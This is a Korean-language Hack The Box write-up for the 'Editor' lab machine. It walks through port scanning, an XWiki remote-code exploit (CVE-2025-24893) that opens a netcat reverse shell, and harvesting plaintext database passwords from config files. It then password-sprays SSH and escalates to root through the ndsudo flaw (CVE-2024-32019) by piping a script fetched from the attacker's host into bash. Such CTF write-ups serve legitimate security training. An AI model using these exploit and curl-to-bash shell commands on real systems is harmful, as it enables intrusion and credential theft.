Post

[HTB] Editor Write Up

[HTB] Editor Write Up

포트 스캔

1
sudo nmap -Pn -p- --min-rate 1000 -T4 -oN scans/initial_Pn 10.129.231.23
1
2
3
4
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8080/tcp open  http-proxy

초기 침투

  • 8080 포트 xwiki 서비스의 CVE-2025-24893 식별
    • 10.129.231.23:8080 접속 시 xwiki 서비스 확인 > CVE 식별 1

    • 사용한 Exploit : https://github.com/gunzf0x/CVE-2025-24893
    • exploit 실행 (9001 리스너 포트에 shell 접속 확인)
      1
      
        python3 CVE-2025-24893.py -t 'http://10.129.231.23:8080' -c 'busybox nc 10.10.14.170 9001
      

      2

  • 사용자 확인
    1
    
    ls /home/
    
    1
    
    drwxr-x---  3 oliver oliver 4096 Jul  8  2025 oliver
    

    3

  • /etc/xwiki/ 내에서 password 문자열 검색 : 패스워드 2개 식별
    1
    
    grep -r "passw" .
    
    1
    2
    
    ./hibernate.cfg.xml:    <property name="hibernate.connection.password">theEd1t0rTeam99</property>
    ./hibernate.cfg.xml.ucf-dist:    <property name="hibernate.connection.password">xwikipassword2025</property>
    

    4

  • SSH 대상 계정 스캔
    • ps.txt 파일 생성
      1
      2
      
        theEd1t0rTeam99
        xwikipassword2025
      
    • SSH 대상 계정 스캔
      1
      
        nxc ssh 10.129.231.23 -u 'oliver' -p ps.txt
      
      1
      2
      
        SSH         10.129.231.23   22     10.129.231.23    [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.13
        SSH         10.129.231.23   22     10.129.231.23    [+] oliver:theEd1t0rTeam99  Linux - Shell access!
      

      5

  • SSH 접속 (password : theEd1t0rTeam99)
    1
    
    ssh oliver@10.129.231.23
    
  • 사용자 플래그 획득 6

권한 상승

  • 취약점 스캔 : ndsudo 사용 확인
    1
    
    find / -perm -4000 -type f 2>/dev/null
    
    1
    
    /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo
    

    7

  • CVE-2024-32019 exploit
    • ndsudo exploit 검색 시 CVE-2024-32019가 존재함을 확인
    • 사용한 Exploit : https://github.com/80Ottanta80/CVE-2024-32019-PoC
    • example_nvme.c 파일 수정 : YOUR_IP를 Kali IP로 수정
    • 컴파일
      1
      
        x86_64-linux-gnu-gcc -o nvme example_nvme.c -static
      
    • exploit 실행 (4444 리스너 포트에 root shell 접속 성공)
      1
      
        curl http://10.10.14.170/ndsudo_pe.sh | bash -s -- 10.10.14.170
      

      8

  • 관리자 플래그 획득 9
This post is licensed under CC BY 4.0 by the author.